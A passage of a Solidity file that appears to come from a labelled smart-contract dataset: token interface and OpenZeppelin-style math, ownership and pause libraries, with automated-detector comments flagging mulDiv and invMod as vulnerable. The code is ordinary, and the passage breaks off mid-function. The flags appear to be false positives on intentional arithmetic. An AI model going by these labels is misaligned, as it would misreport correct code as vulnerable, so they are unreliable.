"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Pausable is Context {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n constructor() {\n _paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cda2598): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for cda2598: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 256fe1a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 256fe1a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3912d43): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 3912d43: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 11f6169): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 11f6169: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 030e53d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 030e53d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3d770b7): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 3d770b7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6567f49): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 6567f49: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 01db14f): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 01db14f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 94d3718): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 94d3718: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: cda2598\n\t\t\t\t// divide-before-multiply | ID: 3912d43\n\t\t\t\t// divide-before-multiply | ID: 11f6169\n\t\t\t\t// divide-before-multiply | ID: 030e53d\n\t\t\t\t// divide-before-multiply | ID: 3d770b7\n\t\t\t\t// divide-before-multiply | ID: 6567f49\n\t\t\t\t// divide-before-multiply | ID: 01db14f\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 256fe1a\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 6567f49\n\t\t\t// incorrect-exp | ID: 94d3718\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 11f6169\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: cda2598\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3912d43\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3d770b7\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 030e53d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 01db14f\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 256fe1a\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a696ffc): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for a696ffc: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: a696ffc\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: a696ffc\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return 